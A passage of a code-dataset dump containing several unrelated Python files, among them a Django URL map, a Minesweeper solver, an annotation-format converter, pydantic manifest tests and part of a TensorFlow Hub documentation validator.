delete(self, key):\n await self._elastic.delete(self._index, key)\n\n async def has(self, item):\n return await self._elastic.exists(self._index, item)\n\n async def get(self, item):\n return await self._elastic.get(self._index, item)\n\n async def set(self, key, value):\n record = {\n \"doc\": {\"user\": value},\n 'doc_as_upsert': True\n }\n await self._elastic.update(self._index, key, record)\n\n\ntoken2user = TokenDb()\n","sub_path":"app/api/auth/user_db.py","file_name":"user_db.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"215900009","text":"import re\nimport copy\n\ndef getGrid(grid, row, col):\n curRow = grid[row]\n return curRow[col]\n\ndef setGrid(grid, row, col, item):\n grid[row][col] = item\n\n\ndef countMinesAbove(grid, i, j, n):\n if i == 0:\n return 0\n count = 0\n # Directly above\n if getGrid(grid, i - 1, j) == '*':\n count += 1\n # Above and to the right\n if j < n - 1 and getGrid(grid, i - 1, j + 1) == '*':\n count += 1\n # Above and to the left\n if j > 0 and getGrid(grid, i - 1, j - 1) == '*':\n count += 1\n return count\n\n\ndef countMinesBelow(grid, i, j, m, n):\n \"\"\"\n m and n are 1-based, i and j are not.\n If we are on the bottom-row (per i) then return 0.\n \"\"\"\n if i >= m - 1:\n return 0\n count = 0\n # Below and to the left\n if j > 0 and getGrid(grid, i + 1, j - 1) == '*':\n count += 1\n # Immediately below i, j\n if getGrid(grid, i + 1, j) == '*': \n count += 1\n # Below and to the right\n if j < n - 1 and getGrid(grid, i + 1, j + 1) == '*':\n count += 1\n return count\n \n\ndef countMinesToLeft(grid, row, col):\n if col > 0 and getGrid(grid, row, col - 1) == '*':\n return 1\n else:\n return 0\n\n\ndef countMinesToRight(grid, row, col, n):\n \"\"\" Note that n is 1-based, while i and j are 0-based. \"\"\"\n if col < n - 1 and getGrid( grid, row, col + 1) == '*':\n return 1\n else:\n return 0\n\n\ndef setGridCounts(m, n, grid):\n \"\"\"\n If a grid location is a mine, then place an asterisk there.\n Otherwise, count all mines in the adjacent locations above it, if present.\n Next, count all mines in the adjacent locations below it, if present.\n Next, increment the count if the cell to the left (if present) is a mine.\n Next, increment the count if the cell to the right (if present) is a mine.\n Repeat the above process for every cell in the grid.\n \"\"\"\n outGrid = copy.deepcopy( grid )\n for i in range(m):\n for j in range(n):\n count = 0\n count += countMinesAbove(grid, i, j, n)\n count += countMinesBelow(grid, i, j, m, n)\n count += countMinesToLeft(grid, i, j)\n count += countMinesToRight(grid, i, j, n)\n outGrid[i][j] = str( count )\n if getGrid(grid, i, j) == '*':\n outGrid[i][j] = '*'\n return outGrid\n\n\ndef setMines(inGrid, outGrid, m, n):\n for i in range(m):\n for j in range(n):\n if getGrid( inGrid, i, j) == '*':\n setGrid(outGrid, i, j, '*')\n return outGrid\n\n\nwhile True:\n s = input('Enter dimensions: ')\n match = re.search( r'(\\d+)\\s+(\\d+)', s)\n if match:\n m = int( match.group(1) )\n n = int( match.group(2) )\n grid = []\n for i in range(m):\n grid.append( input() )\n if m == 0 and n == 0:\n exit()\n h = [list(x) for x in grid]\n # print(h)\n g = setGridCounts( m, n, h)\n k = setMines(grid, g, m, n)\n for row in k:\n s = ''.join( row )\n print( s )\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"335850510","text":"\nfrom django.conf.urls import include, url\n\n\n\nfrom rest_framework_jwt.views import obtain_jwt_token, refresh_jwt_token\n\nfrom app.views import *\n\nfrom django.contrib import admin\n\n\nadmin.site.site_header = 'Stilo'\nfrom app.admin import admin_site\n\n\nurlpatterns = [\n \n url(r'^admin/reporte/$', reporte),\n url(r'^myadmin/', admin_site.urls),\n url(r'^admin/', admin.site.urls),\n url(r'api-token-auth/', obtain_jwt_token),\n\n url(r'api-token-refresh/', refresh_jwt_token),\n url(r'^', admin.site.urls),\n\n url(r'^categoria/(\\d+)', categoria),\n\n url(r'^eliminaservicio/(\\d+)', eliminaservicio),\n url(r'^finalizaservicio/(\\d+)', Finalizaservicio.as_view()),\n url(r'^eliminarsubcategoria/(\\d+)', Eliminarsubcategoria.as_view()),\n\n url(r'^distrito/', distrito),\n url(r'^subcategoria/(\\d+)/(\\d+)', subcategoria),\n url(r'^recibetoken/', recibetoken),\n url(r'^portadaphoto/(\\d+)', portadaphoto),\n url(r'^aceptaserviciocliente/(\\d+)', Aceptarserviciocliente.as_view()),\n url(r'^pagarenefectivo/(\\d+)', Pagarenefectivo.as_view()),\n url(r'^pagotulki/(\\d+)', Pagotulki.as_view()),\n url(r'^pagoyape/(\\d+)', Pagoyape.as_view()),\n url(r'^yallege/(\\d+)', Yallege.as_view()),\n url(r'^encamino/(\\d+)', Encamino.as_view()),\n \n\n\n url(r'^tracksubcategoria/(\\d+)',Tracksubcategoria.as_view()),\n url(r'^cancelaserviciocliente/(\\d+)', Cancelaserviciocliente.as_view()),\n url(r'^cancelaserviciosocia', Cancelaserviciosocia.as_view()),\n url(r'^publicidad/', traepublicidad),\n url(r'^enviacorreos/', enviacorreos),\n url(r'^buscasocia/(\\d+)', Buscasocia.as_view()),\n\n url(r'^listasocias/', Listasocias.as_view()),\n url(r'^guardanotificacion/', Guardanotificacion.as_view()),\n url(r'^aceptarservicio/', Aceptarservicio.as_view()),\n\n url(r'^miservicios/', Miservicios.as_view()),\n url(r'^miserviciossocias/(\\d+)', Miserviciossocias.as_view()),\n url(r'^sacauser/', Sacauser.as_view()),\n url(r'^sacasocia/', Sacasocia.as_view()),\n url(r'^detalleservicio/(\\d+)', Detalleservicio.as_view()),\n url(r'^promo/(\\w+)/(\\d+)', Promopago.as_view()),\n\n url(r'^miperfil/', Miperfil.as_view()),\n\n url(r'^smsrecibidos', smsrecibidos),\n url(r'^smsrecibidos/', smsrecibidos),\n url(r'^prueba/', prueba),\n url(r'^onesignalguarda/', onesignalguarda),\n\n url(r'^registro/', registro),\n url(r'^registro_v2/', registro_v2),\n url(r'^validauser/', validauser),\n url(r'^ultimoservicio/', Ultimoservicio.as_view()),\n url(r'^nuevasocia/', nuevasocia),\n url(r'^envianotificacion/(\\w+)/', envianotificacion),\n url(r'^carganoti/(\\w+)/(\\d+)', carganoti),\n url(r'^distrito', distrito),\n url(r'^paginas', paginas),\n url(r'^pedidos', websocket),\n url(r'^asignasocia', Asignasocia.as_view()),\n url(r'^creatoken/(\\w+)', Creatoken.as_view()),\n url(r'^guardadatosmovil/', Guardadatosmovil.as_view()),\n url(r'^obtienedistrito/', obtienedistrito),\n url(r'^enviaemail/', enviaemail),\n url(r'^infodistrito/', infodistrito),\n url(r'^loginfacebook/', loginfacebook),\n url(r'^asignanotificacion/', asignanotificacion),\n url(r'^asignanotificacionsocia/', asignanotificacionsocia),\n url(r'^buscasociatareaprogramada/', buscasociatareaprogramada),\n url(r'^fotos/', fotos),\n url(r'^personas/', personas),\n url(r'^correccion/', correccion),\n url(r'^calificacion/(\\d+)', calificacion),\n url(r'^panico/', Panico.as_view()),\n url(r'^actualizaperfil/', Actualizaperfil.as_view()),\n url(r'^actualizatarjeta/', Actualizatarjeta.as_view()),\n url(r'^linea/', Enlinea.as_view()),\n \n url(r'^activa_anuncio/', activa_anuncio),\n url(r'^productos/', productos),\n url(r'^enviasms/(\\w+)', enviasms),\n url(r'^api_enviasms/(\\w+)/(\\w+)', api_enviasms),\n url(r'^califica/(\\w+)/(\\d+)', califica),\n url(r'^upload', upload),\n url(r'^configuracion', configuracion),\n url(r'^guardaurl', guardaurl),\n url(r'^notificaciones', Notificacion.as_view()),\n url(r'^agregacomentario/', Agregacomentario.as_view()),\n\n\n #url(r'^enviatelefono/', 'app.views.enviatelefono'),\n \n #url(r'^vectorizacion/', 'app.views.vectorizacion'),\n\n \n\n\n \n]\n","sub_path":"capital/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"220835301","text":"from common_utils.path_utils import get_all_files_of_extension, \\\n get_rootname_from_path\nfrom ..labelimg.annotation import LabelImgAnnotationHandler, LabelImgAnnotation\nfrom ..labelme.annotation import LabelMeAnnotationHandler, LabelMeAnnotation, Shape, ShapeHandler\nimport labelme\n\nclass LabelImgLabelMeConverter:\n def __init__(\n self, labelimg_annotation_dir: str, labelme_annotation_dir: str, img_dir: str\n ):\n self.labelimg_annotation_dir = labelimg_annotation_dir\n self.labelme_annotation_dir = labelme_annotation_dir\n self.img_dir = img_dir\n\n # LabelImg Handler\n self.labelimg_annotation_handler = LabelImgAnnotationHandler()\n\n def load_annotation_paths(self):\n annotation_paths = get_all_files_of_extension(dir_path=self.labelimg_annotation_dir, extension='xml')\n for annotation_path in annotation_paths:\n rootname = get_rootname_from_path(path=annotation_path)\n img_path = f\"{self.img_dir}/{rootname}.png\"\n xml_path = f\"{self.labelimg_annotation_dir}/{rootname}.xml\"\n self.labelimg_annotation_handler.add(\n key=len(self.labelimg_annotation_handler.annotations),\n annotation_path=xml_path,\n img_path=img_path\n )\n\n def load_annotation_data(self):\n self.labelimg_annotation_handler.load_remaining()\n\n def load_labelimg(self):\n self.load_annotation_paths()\n self.load_annotation_data()\n\n def get_labelme_annotation_handler(self) -> LabelMeAnnotationHandler:\n labelme_annotation_handler = LabelMeAnnotationHandler()\n \n for labelimg_annotation in self.labelimg_annotation_handler.annotations.values():\n rootname = get_rootname_from_path(path=labelimg_annotation.annotation_path)\n labelme_annotation_path = f\"{self.labelme_annotation_dir}/{rootname}.json\"\n labelme_annotation = LabelMeAnnotation(\n annotation_path=labelme_annotation_path,\n img_dir=self.img_dir,\n bound_type='rect'\n )\n shape_handler = self.get_shape_handler(labelimg_annotation)\n shapes = self.get_shapes(shape_handler=shape_handler)\n\n labelme_annotation.version = labelme.__version__\n labelme_annotation.flags = {}\n labelme_annotation.shapes = shapes\n labelme_annotation.line_color = [0, 255, 0, 128]\n labelme_annotation.fill_color = [66, 255, 33, 128]\n labelme_annotation.img_path = labelimg_annotation.img_path\n labelme_annotation.img_height = labelimg_annotation.size.height\n labelme_annotation.img_width = labelimg_annotation.size.width\n labelme_annotation.shape_handler = shape_handler\n \n labelme_annotation_handler.annotations[\n len(labelme_annotation_handler.annotations)\n ] = labelme_annotation\n\n return labelme_annotation_handler\n\n def get_shape_handler(self, labelimg_annotation: LabelImgAnnotation) -> ShapeHandler:\n shape_handler = ShapeHandler()\n for rectangle in labelimg_annotation.rectangle_handler.rectangles:\n name = rectangle.name\n bounding_box = rectangle.bounding_box\n\n points = [\n [bounding_box.xmin, bounding_box.ymin],\n [bounding_box.xmax, bounding_box.ymax]\n ]\n shape = Shape(\n label=name,\n line_color=None,\n fill_color=None,\n points=points,\n shape_type='rectangle',\n flags=\"\"\n )\n shape_handler.add(shape)\n return shape_handler\n\n def get_shapes(self, shape_handler: ShapeHandler):\n shapes = []\n for rectangle in shape_handler.rectangles:\n shape_dict = {}\n shape_dict['label'] = rectangle.label\n shape_dict['line_color'] = rectangle.line_color\n shape_dict['fill_color'] = rectangle.fill_color\n shape_dict['points'] = rectangle.points\n shape_dict['shape_type'] = rectangle.shape_type\n shape_dict['flags'] = {}\n shapes.append(shape_dict)\n return shapes\n ","sub_path":"build/lib/annotation_utils/old/converter/labelimg_labelme_converter.py","file_name":"labelimg_labelme_converter.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"44885608","text":"\"\"\"Logic used by pytest test cases.\"\"\"\n\nimport difflib\nimport inspect\nfrom itertools import zip_longest\nimport textwrap\n\nimport phmdoctest.simulator\n\nJUNIT_FAMILY = \"xunit2\" # Pytest output format for JUnit XML file\n\n\ndef a_and_b_are_the_same(a, b):\n \"\"\"Compare function with assert and line by line ndiff stdout.\"\"\"\n a_lines = a.splitlines()\n b_lines = b.splitlines()\n for a_line, b_line in zip_longest(a_lines, b_lines):\n if a_line != b_line:\n diffs = difflib.ndiff(a_lines, b_lines)\n for line in diffs:\n print(line)\n assert False\n\n\ndef example_code_checker(callable_function, example_string):\n \"\"\"Check that the body of the function matches the string.\"\"\"\n want1 = inspect.getsource(callable_function)\n got = textwrap.indent(example_string, \" \")\n # Drop the def function_name line.\n newline_index = want1.find(\"\\n\")\n assert newline_index > -1, \"must have a newline\"\n assert len(want1) > newline_index + 2, \"must have more after newline\"\n want2 = want1[newline_index + 1 :]\n a_and_b_are_the_same(want2, got)\n\n\ndef one_example(\n well_formed_command, want_file_name=None, pytest_options=None, junit_family=\"\"\n):\n \"\"\"Simulate running a phmdoctest command and pytest on the result.\"\"\"\n simulator_status = phmdoctest.simulator.run_and_pytest(\n well_formed_command, pytest_options=pytest_options, junit_family=junit_family\n )\n # check that the phmdoctest command succeeded\n exit_code = simulator_status.runner_status.exit_code\n assert exit_code == 0, exit_code\n if pytest_options is None:\n assert simulator_status.pytest_exit_code is None\n\n # check the OUTFILE against the expected value\n if want_file_name is not None:\n with open(want_file_name) as f:\n want = f.read()\n a_and_b_are_the_same(want, simulator_status.outfile)\n return simulator_status\n","sub_path":"tests/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"196734959","text":"#!/usr/bin/env python\nimport sys\nsys.path.insert(0, '../')\nfrom pyfem2 import *\n\nV = FiniteElementModel(jobid='PlateWithHoleQuad4QuarterSym')\nV.GenesisMesh('PlateWithHoleQuad4QuarterSym.g')\nmat = V.Material('Material-1')\nmat.Elastic(E=100, Nu=.2)\nV.AssignProperties('', PlaneStrainQuad4, mat, t=1)\nV.PrescribedBC('SymYZ', X)\nV.PrescribedBC('SymXZ', Y)\nV.InitialTemperature(ALL, 60)\n\nstep = V.StaticStep('Step-1')\nstep.SurfaceLoad('RightHandSide', [1,0])\nstep.run()\n\nV.WriteResults()\n\nF = File('PlateWithHoleQuad4QuarterSym.exo')\nmax_p = [0., None]\nmax_u = [0., None]\nfor step in F.steps.values():\n for frame in step.frames:\n u = frame.field_outputs['U']\n for value in u.values:\n u1 = value.magnitude\n if max_u[0] < u1:\n max_u = [u1, value]\n\n s = frame.field_outputs['S']\n for value in s.values:\n s1 = value.max_principal\n if max_p[0] < s1:\n max_p = [s1, value]\n\n# External and internal element numbers\nxel = max_p[1].label\nx = F.get_elem_coord(xel)\nif not os.getenv('NOGRAPHICS'):\n #print(max_p[0])\n V.Plot2D(deformed=1)\n","sub_path":"data/DemoQuarterPlate.py","file_name":"DemoQuarterPlate.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"516126778","text":"from unittest import TestCase\nfrom copy import deepcopy\n\nfrom pydantic.error_wrappers import ValidationError\nfrom basemodels.pydantic import Manifest\nfrom basemodels.pydantic.manifest.data.taskdata import TaskDataEntry\n\n\nSIMPLE = {\n \"job_mode\": \"batch\",\n \"request_type\": \"image_label_multiple_choice\",\n \"requester_accuracy_target\": 0.8,\n \"requester_description\": \"pyhcaptcha internal_id: 69efdbe1-e586-42f8-bf05-a5745f75402a\",\n \"requester_max_repeats\": 7,\n \"requester_min_repeats\": 3,\n \"requester_question\": {\"en\": \"deploy to only certain sites\"},\n \"requester_restricted_answer_set\": {\"one\": {\"en\": \"one\"}, \"two\": {\"en\": \"two\"}},\n \"task_bid_price\": -1,\n \"unsafe_content\": False,\n \"oracle_stake\": 0.05,\n \"recording_oracle_addr\": \"0x6a0E68eA5F706339dd6bd354F53EfcB5B9e53E49\",\n \"reputation_oracle_addr\": \"0x6a0E68eA5F706339dd6bd354F53EfcB5B9e53E49\",\n \"reputation_agent_addr\": \"0x6a0E68eA5F706339dd6bd354F53EfcB5B9e53E49\",\n \"groundtruth_uri\": \"https://hmt-jovial-lamport.hcaptcha.com/pyhcaptcha-client/taskdata/sha1:bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f.json\",\n \"taskdata_uri\": \"https://hmt-jovial-lamport.hcaptcha.com/pyhcaptcha-client/taskdata/sha1:97d170e1550eee4afc0af065b78cda302a97674c.json\",\n \"job_total_tasks\": 0,\n \"job_api_key\": \"417714f0-7ce6-412b-b394-0d2ae58a8c6d\",\n \"restricted_audience\": {\n \"sitekey\": [\n {\"dfe03e7c-f417-4726-8b14-ae033a3cc66e\": {\"score\": 1}},\n {\"dfe03e7c-f417-4726-8b12-ae033a3cc66a\": {\"score\": 1}},\n ],\n },\n}\n\nTASK = {\n \"task_key\": \"407fdd93-687a-46bb-b578-89eb96b4109d\",\n \"datapoint_uri\": \"https://domain.com/file1.jpg\",\n \"datapoint_hash\": \"f4acbe8562907183a484498ba901bfe5c5503aaa\",\n \"metadata\": {\n \"key_1\": \"value_1\",\n \"key_2\": \"value_2\",\n },\n}\n\n\nclass PydanticTest(TestCase):\n def setUp(self):\n self.m = deepcopy(SIMPLE)\n\n def test_example_err(self):\n self.m[\"requester_question_example\"] = []\n with self.assertRaises(ValidationError):\n Manifest.parse_obj(self.m)\n\n def test_working(self):\n Manifest.parse_obj(self.m)\n\n def test_unique_id(self):\n m1 = deepcopy(SIMPLE)\n m2 = deepcopy(SIMPLE)\n self.assertNotEqual(str(Manifest(**m1).job_id), str(Manifest(**m2).job_id))\n\n def test_taskdata(self):\n \"\"\"Test taskdata\"\"\"\n taskdata = deepcopy(TASK)\n TaskDataEntry(**taskdata)\n\n taskdata.get(\"metadata\")[\"key_1\"] = 1.1\n TaskDataEntry(**taskdata)\n\n taskdata.get(\"metadata\")[\"key_1\"] = None\n TaskDataEntry(**taskdata)\n\n taskdata.get(\"metadata\")[\"key_1\"] = \"\"\n TaskDataEntry(**taskdata)\n\n with self.assertRaises(ValidationError):\n taskdata.get(\"metadata\")[\"key_1\"] += 1024 * \"a\"\n TaskDataEntry(**taskdata)\n\n taskdata.pop(\"metadata\")\n TaskDataEntry(**taskdata)\n\n def test_default_only_sign_results(self):\n \"\"\"Test whether flat 'only_sign_results' is False by default.\"\"\"\n manifest = Manifest(**self.m)\n self.assertEqual(manifest.only_sign_results, False)\n","sub_path":"tests/test_pydantic.py","file_name":"test_pydantic.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"206119646","text":"import data\nimport stats\nfrom arena import Arena\nfrom game.game import Game\n\n\ndef listen_for_commands(arena, path_to_db):\n conn, c = data.connect_to_database(path_to_db)\n game_table_exist = data.check_table_existance(conn, c)\n if not game_table_exist:\n data.create_table(conn, c)\n\n while True: \n command = input()\n if command == 'add':\n print('[STATS] Which player wins the game (options: 0, 1): ', end='')\n winner = input()\n if winner in ('0', '1'):\n stats.add_game_to_db(conn, c, arena.game, int(winner))\n print('[STATS] Game added successfully')\n else:\n print('[STATS] Wrong player number')\n elif command == 'check':\n stats.show_game_stats(conn, c, arena.game)\n elif command == 'reset_stats':\n print('[STATS] Do You really want to reset ALL stats (options: yes, no): ', end='')\n decision = input()\n if decision == 'yes':\n data.delete_table(conn, c)\n data.create_table(conn, c)\n else:\n print('[STATS] Operation aborted')\n elif command == 'exit':\n break\n elif command == 'help':\n print('[STATS] Possible commends are:')\n print('[STATS] add - ads current position (and all the position that led to it) to database')\n print('[STATS] check - checks this position statistics in database')\n print('[STATS] reset_stats - resets all of the statistics')\n print('[STATS] exit - disables stats commands for this game')\n else:\n print('[STATS] Wrong command')\n\n data.close_connection(conn)\n print('[STATS] Thread closing')\n","sub_path":"server/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"585500382","text":"# Copyright 2020 The TensorFlow Hub Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Markdown documentation validator for published models.\n\n1) To validate selected files, run from the project root path:\n$ python tools/validator.py vtab/models/wae-ukl/1.md [other_files]\n\nThis will download and smoke test the model specified on asset-path metadata.\n\n2) To validate all documentation files, run from the project root path:\n$ python tools/validator.py\n\nThis does not download and smoke test the model.\n\n3) To validate files from outside the project root path, use the --root_dir\nflag:\n$ python tools/validator.py --root_dir=path_to_project_root\n\"\"\"\n\nimport abc\nimport argparse\nimport os\nimport re\nimport subprocess\nimport sys\nfrom typing import Dict, List, Set\n\nfrom absl import app\nfrom absl import logging\nimport tensorflow as tf\nimport tensorflow_hub as hub\nimport filesystem_utils\n\n\n# pylint: disable=g-direct-tensorflow-import\nfrom tensorflow.python.saved_model import loader_impl\n# pylint: enable=g-direct-tensorflow-import\n\nFLAGS = None\n\n# Regex pattern for the first line of the documentation of Saved Models.\n# Example: \"Module google/universal-sentence-encoder/1\"\nMODEL_HANDLE_PATTERN = (\n r\"# Module (?P[\\w-]+)/(?P([\\w\\.-]+(/[\\w\\.-]+)*))/(?P\\d+)\") # pylint: disable=line-too-long\n# Regex pattern for the first line of the documentation of placeholder MD files.\n# Example: \"Placeholder google/universal-sentence-encoder/1\"\nPLACEHOLDER_HANDLE_PATTERN = (\n r\"# Placeholder \"\n r\"(?P[\\w-]+)/(?P([\\w\\.-]+(/[\\w\\.-]+)*))/(?P\\d+)\") # pylint: disable=line-too-long\n# Regex pattern for the first line of the documentation of TF Lite models.\n# Example: \"# Lite google/spice/1\"\nLITE_HANDLE_PATTERN = (\n r\"# Lite (?P[\\w-]+)/(?P([\\w\\.-]+(/[\\w\\.-]+)*))/(?P\\d+)\") # pylint: disable=line-too-long\n# Regex pattern for the first line of the documentation of TFJS models.\n# Example: \"# Tfjs google/spice/1/default/1\"\nTFJS_HANDLE_PATTERN = (\n r\"# Tfjs (?P[\\w-]+)/(?P([\\w\\.-]+(/[\\w\\.-]+)*))/(?P\\d+)\") # pylint: disable=line-too-long\n# Regex pattern for the first line of the documentation of Coral models.\n# Example: \"# Coral tensorflow/mobilenet_v2_1.0_224_quantized/1/default/1\"\nCORAL_HANDLE_PATTERN = (\n r\"# Coral (?P[\\w-]+)/(?P([\\w\\.-]+(/[\\w\\.-]+)*))/(?P\\d+)\") # pylint: disable=line-too-long\n# Regex pattern for the first line of the documentation of publishers.\n# Example: \"Publisher google\"\nPUBLISHER_HANDLE_PATTERN = r\"# Publisher (?P[\\w-]+)\"\n# Regex pattern for the first line of the documentation of collections.\n# Example: \"Collection google/universal-sentence-encoders/1\"\nCOLLECTION_HANDLE_PATTERN = (\n r\"# Collection (?P[\\w-]+)/(?P(\\w|-|/|&|;|\\.)+)/(\\d+)\")\n# Regex pattern for the line of the documentation describing model metadata.\n# Example: \"\"\n# Note: Both key and value consumes free space characters, but later on these\n# are stripped.\nMETADATA_LINE_PATTERN = r\"^$\"\n\n# These metadata tags can be set to more than one value.\nREPEATED_TAG_KEYS = (\"dataset\", \"language\", \"module-type\",\n \"network-architecture\")\n\n# Specifies whether a SavedModel is a Hub Module or a TF1/TF2 SavedModel.\nSAVED_MODEL_FORMATS = (\"hub\", \"saved_model\", \"saved_model_2\")\n\n# Map a handle pattern to the corresponding model type name.\nHANDLE_PATTERN_TO_MODEL_TYPE = {\n MODEL_HANDLE_PATTERN: \"Module\",\n PLACEHOLDER_HANDLE_PATTERN: \"Placeholder\",\n LITE_HANDLE_PATTERN: \"Lite\",\n TFJS_HANDLE_PATTERN: \"Tfjs\",\n CORAL_HANDLE_PATTERN: \"Coral\"\n}\n\n\nclass MarkdownDocumentationError(Exception):\n \"\"\"Problem with markdown syntax parsing.\"\"\"\n\n\ndef _validate_file_paths(model_dir: str):\n valid_path_regex = re.compile(r\"(/[\\w-][!',_\\w\\.\\-=:% ]*)+\")\n for filepath in filesystem_utils.recursive_list_dir(model_dir):\n if not valid_path_regex.fullmatch(filepath):\n raise MarkdownDocumentationError(f\"Invalid filepath in asset: {filepath}\")\n\n\nclass ParsingPolicy(object):\n \"\"\"The base class for type specific parsing policies.\n\n Documentation files for models, placeholders, publishers and collections share\n a publisher field, a readable name, a correct file path etc.\n \"\"\"\n\n def __init__(self, publisher: str, model_name: str, model_version: str,\n required_metadata: List[str], optional_metadata: List[str]):\n self._publisher = publisher\n self._model_name = model_name\n self._model_version = model_version\n self._required_metadata = required_metadata\n self._optional_metadata = optional_metadata\n\n @property\n @abc.abstractmethod\n def type_name(self):\n \"\"\"Return readable name of the parsed type.\"\"\"\n\n @property\n def publisher(self) -> str:\n return self._publisher\n\n @property\n def supported_metadata(self) -> List[str]:\n \"\"\"Return which metadata tags are supported.\"\"\"\n return self._required_metadata + self._optional_metadata\n\n def get_top_level_dir(self, root_dir: str) -> str:\n \"\"\"Returns the top level publisher directory.\"\"\"\n return os.path.join(root_dir, self._publisher)\n\n def assert_correct_file_path(self, file_path: str, root_dir: str):\n if not file_path.endswith(\".md\"):\n raise MarkdownDocumentationError(\n \"Documentation file does not end with '.md': %s\" % file_path)\n\n publisher_dir = self.get_top_level_dir(root_dir)\n if not file_path.startswith(publisher_dir + \"/\"):\n raise MarkdownDocumentationError(\n \"Documentation file is not on a correct path. Documentation for a \"\n f\"{self.type_name} with publisher '{self._publisher}' should be \"\n f\"placed in the publisher directory: '{publisher_dir}'\")\n\n def assert_can_resolve_asset(self, asset_path: str):\n \"\"\"Check whether the asset path can be resolved.\"\"\"\n pass\n\n def assert_metadata_contains_required_fields(self, metadata: Dict[str,\n Set[str]]):\n required_metadata = set(self._required_metadata)\n provided_metadata = set(metadata.keys())\n if not provided_metadata.issuperset(required_metadata):\n raise MarkdownDocumentationError(\n \"The MD file is missing the following required metadata properties: \"\n \"%s. Please refer to README.md for information about markdown \"\n \"format.\" % sorted(required_metadata.difference(provided_metadata)))\n\n def assert_metadata_contains_supported_fields(self, metadata: Dict[str,\n Set[str]]):\n supported_metadata = set(self.supported_metadata)\n provided_metadata = set(metadata.keys())\n if not supported_metadata.issuperset(provided_metadata):\n raise MarkdownDocumentationError(\n \"The MD file contains unsupported metadata properties: \"\n f\"{sorted(provided_metadata.difference(supported_metadata))}. Please \"\n \"refer to README.md for information about markdown format.\")\n\n def assert_no_duplicate_metadata(self, metadata: Dict[str, Set[str]]):\n duplicate_metadata = list()\n for key, values in metadata.items():\n if key not in REPEATED_TAG_KEYS and len(values) > 1:\n duplicate_metadata.append(key)\n if duplicate_metadata:\n raise MarkdownDocumentationError(\n \"There are duplicate metadata values. Please refer to \"\n \"README.md for information about markdown format. In particular the \"\n f\"duplicated metadata are: {sorted(duplicate_metadata)}\")\n\n def assert_correct_module_types(self, metadata: Dict[str, Set[str]]):\n if \"module-type\" in metadata:\n allowed_prefixes = [\"image-\", \"text-\", \"audio-\", \"video-\"]\n for value in metadata[\"module-type\"]:\n if all([not value.startswith(prefix) for prefix in allowed_prefixes]):\n raise MarkdownDocumentationError(\n \"The 'module-type' metadata has to start with any of 'image-'\"\n \", 'text', 'audio-', 'video-', but is: '{value}'\")\n\n def assert_correct_metadata(self, metadata: Dict[str, Set[str]]):\n \"\"\"Assert that correct metadata is present.\"\"\"\n self.assert_metadata_contains_required_fields(metadata)\n self.assert_metadata_contains_supported_fields(metadata)\n self.assert_no_duplicate_metadata(metadata)\n self.assert_correct_module_types(metadata)\n\n\nclass CollectionParsingPolicy(ParsingPolicy):\n \"\"\"ParsingPolicy for collection documentation.\"\"\"\n\n def __init__(self, publisher: str, model_name: str, model_version: str):\n super(CollectionParsingPolicy,\n self).__init__(publisher, model_name, model_version, [\"module-type\"],\n [\"dataset\", \"language\", \"network-architecture\"])\n\n @property\n def type_name(self):\n return \"Collection\"\n\n\nclass PlaceholderParsingPolicy(ParsingPolicy):\n \"\"\"ParsingPolicy for placeholder files.\"\"\"\n\n def __init__(self, publisher: str, model_name: str, model_version: str):\n super(PlaceholderParsingPolicy, self).__init__(\n publisher, model_name, model_version, [\"module-type\"], [\n \"dataset\", \"fine-tunable\", \"interactive-model-name\", \"language\",\n \"license\", \"network-architecture\"\n ])\n\n @property\n def type_name(self) -> str:\n return \"Placeholder\"\n\n\nclass SavedModelParsingPolicy(ParsingPolicy):\n \"\"\"ParsingPolicy for SavedModel documentation.\"\"\"\n\n def __init__(self, publisher: str, model_name: str, model_version: str):\n super(SavedModelParsingPolicy, self).__init__(\n publisher, model_name, model_version,\n [\"asset-path\", \"module-type\", \"fine-tunable\", \"format\"], [\n \"dataset\", \"interactive-model-name\", \"language\", \"license\",\n \"network-architecture\"\n ])\n\n @property\n def type_name(self) -> str:\n return \"Module\"\n\n def assert_correct_metadata(self, metadata: Dict[str, Set[str]]):\n super().assert_correct_metadata(metadata)\n\n format_value = list(metadata[\"format\"])[0]\n if format_value not in SAVED_MODEL_FORMATS:\n raise MarkdownDocumentationError(\n f\"The 'format' metadata should be one of {SAVED_MODEL_FORMATS} \"\n f\"but was '{format_value}'.\")\n\n def assert_can_resolve_asset(self, asset_path: str):\n \"\"\"Attempt to hub.resolve the given asset path.\"\"\"\n try:\n resolved_model = hub.resolve(asset_path)\n loader_impl.parse_saved_model(resolved_model)\n _validate_file_paths(resolved_model)\n except Exception as e: # pylint: disable=broad-except\n raise MarkdownDocumentationError(\n f\"The model on path {asset_path} failed to parse. Please make sure \"\n \"that the asset-path metadata points to a valid TF2 SavedModel or a \"\n \"TF1 Hub module, compressed as described in section 'Model' of \"\n f\"README.md. Underlying reason for failure: 